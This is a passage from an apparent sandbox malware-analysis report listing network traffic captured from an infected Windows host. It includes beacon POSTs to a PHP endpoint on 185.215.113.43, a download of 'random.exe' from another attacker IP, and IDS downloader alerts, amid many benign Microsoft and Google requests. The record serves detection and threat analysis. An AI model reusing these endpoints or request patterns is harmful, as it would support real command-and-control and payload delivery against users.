name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KFBFCAFCBKFIEBFHIDBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 23.218.232.186 23.218.232.186

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49797 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49957 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50123 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49993 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsFIDHIEBAAK.exe

Code function: 21_2_006DE0C0 recv,recv,recv,recv,

21_2_006DE0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eYG+6Z7uo4a8ZEy&MD=L8EZRBY9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
